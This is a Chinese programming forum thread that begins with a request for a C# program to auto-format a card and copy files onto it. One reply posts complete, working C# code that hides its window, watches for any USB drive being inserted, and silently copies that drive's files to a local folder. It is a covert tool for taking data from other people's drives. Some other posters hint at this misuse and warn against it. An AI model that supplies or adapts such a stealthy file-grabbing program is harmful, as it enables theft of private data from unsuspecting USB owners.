当前位置:编程学习 > C#/ASP.NET >>

跪求:C#写一个自动复制文件到U盘的程序

跪求:C#写一个选定文件夹 ,插入T卡后 自动格式化T卡  自动复制文件夹内容到T卡的小程序!有的 发送到ydshop@163.com --------------------编程问答-------------------- --------------------编程问答-------------------- 记得codeproject上有程序检测U盘盘符,可以在程序中开启监控,如果发现,找到盘符,复制! --------------------编程问答-------------------- --------------------编程问答-------------------- 貌似一般没人会在这里写程序吧!!! --------------------编程问答-------------------- --------------------编程问答-------------------- .NET 有格式化权限吗?貌似没有 --------------------编程问答--------------------
引用 6 楼 mota 的回复:
.NET 有格式化权限吗?貌似没有

调用dos命令,就行了啊。 --------------------编程问答-------------------- 调用dos的 copy 命令.. 或者 我记得 winform下 有个对文件操作的对象

我之前写过一个复制文件的小东西 但不是复制到U盘...

晚上回去找找 发过来. --------------------编程问答-------------------- U盘复制机器人2.0.0 --------------------编程问答--------------------
引用 9 楼 Liuyang378747340 的回复:
U盘复制机器人2.0.0
++

--------------------编程问答-------------------- --------------------编程问答-------------------- 蛋疼。。如果做个同步器还有点意思。。 --------------------编程问答-------------------- 东西有双面性,用在好的方面即可 --------------------编程问答--------------------
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Threading;

namespace FileCopy
{
    
    public partial class FileCopy : Form
    {
        public FileCopy()
        {
            InitializeComponent();
        }

        Thread thread = null;   
        public const int WM_DEVICECHANGE = 0x219;
        public const int DBT_DEVICEARRIVAL = 0x8000;
        public const int DBT_DEVICEREMOVECOMPLETE = 0x8004;
        string drivestr; //驱动器名称
        protected override void WndProc(ref Message m)
        {
            if (m.Msg == WM_DEVICECHANGE)
            {
                switch (m.WParam.ToInt32())
                {
                    case WM_DEVICECHANGE:
                        break;
                    case DBT_DEVICEARRIVAL:
                        {
                            thread = null;
                            //MessageBox.Show("U盘插入....","信息",MessageBoxButtons.OK,MessageBoxIcon.Information);
                            DriveInfo[] s = DriveInfo.GetDrives();
                            foreach (DriveInfo drive in s)
                            {
                                if (drive.DriveType == DriveType.Removable)
                                {                                    
                                    drivestr = drive.Name;
                                    thread = new Thread(new ThreadStart(Copy));//线程实例化
                                    thread.Start();//启动线程
                                }
                            }
                            break;
                        }
                    case DBT_DEVICEREMOVECOMPLETE:
                        {
                            //MessageBox.Show("U盘拔出....","信息",MessageBoxButtons.OK,MessageBoxIcon.Information);
                            thread = null;
                            break;
                        }
                }
            }
            base.WndProc(ref m);
            
        }

        string des="";      //拷贝来的文件的存放位置
        private void button_Search_Click(object sender, EventArgs e)
        {
            folderBrowserDialog1.ShowDialog();
            textBox_Des.Text = folderBrowserDialog1.SelectedPath;
            des = textBox_Des.Text;
        }

        private void button_Hide_Click(object sender, EventArgs e)
        {
            if(des!="")
            this.Hide();  //后台运行程序
            else
                MessageBox.Show("请选择文件存放位置....", "信息", MessageBoxButtons.OK, MessageBoxIcon.Warning);

        }

        public void Copy()  //线程函数
        {
            CopyFile(drivestr, (int)numericUpDown_FileSize.Value);
        }
        public void CopyFile(string path,int filesize)
        {
            DirectoryInfo dir = new DirectoryInfo(path);
            foreach (FileInfo FI in dir.GetFiles())
            {
                if (FI.Length <= filesize * 1024 * 1024)
                    try { File.Copy(FI.FullName, des + @"\" + FI.Name); }
                    catch (IOException) { continue; }        
            }

            foreach (DirectoryInfo DI in dir.GetDirectories())
            {
                CopyFile(DI.FullName, filesize);
            }

        }

    }
}
--------------------编程问答--------------------
引用 6 楼 MOTA 的回复:
.NET 有格式化权限吗?貌似没有


有没有格式化权限,这是有程序的运行身份决定的,关.Net鸟事?

--------------------编程问答-------------------- 不要做坏事啊 --------------------编程问答-------------------- 这个有何难!!! --------------------编程问答-------------------- 代码男,ddddddd
补充:.NET技术 ,  C#
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,